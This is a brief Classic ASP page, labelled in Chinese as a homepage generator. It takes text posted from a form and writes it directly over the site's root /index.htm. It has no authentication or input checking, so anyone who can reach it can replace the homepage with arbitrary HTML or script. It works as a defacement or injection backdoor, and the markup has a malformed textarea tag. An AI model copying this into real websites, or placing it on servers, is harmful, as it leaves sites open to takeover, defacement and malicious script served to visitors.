if request("act")="ok" then
mbStr=request("mbstr")
set fso=createobject("scripting.filesystemobject")
set fw=fso.createtextfile(server.mappath("/index.htm"),true)
fw.writeline mbStr
fw.close
set fso=nothing
response.Write("首页生成完成")
else
%>
<form name="form1" method="post" action="?act=ok">
<input type="submit" name="Submit" value=" 生 成 首 页 ">
<textarea name="mbstr" rows="40" -->
</textarea>
</form>
<%
end if
%>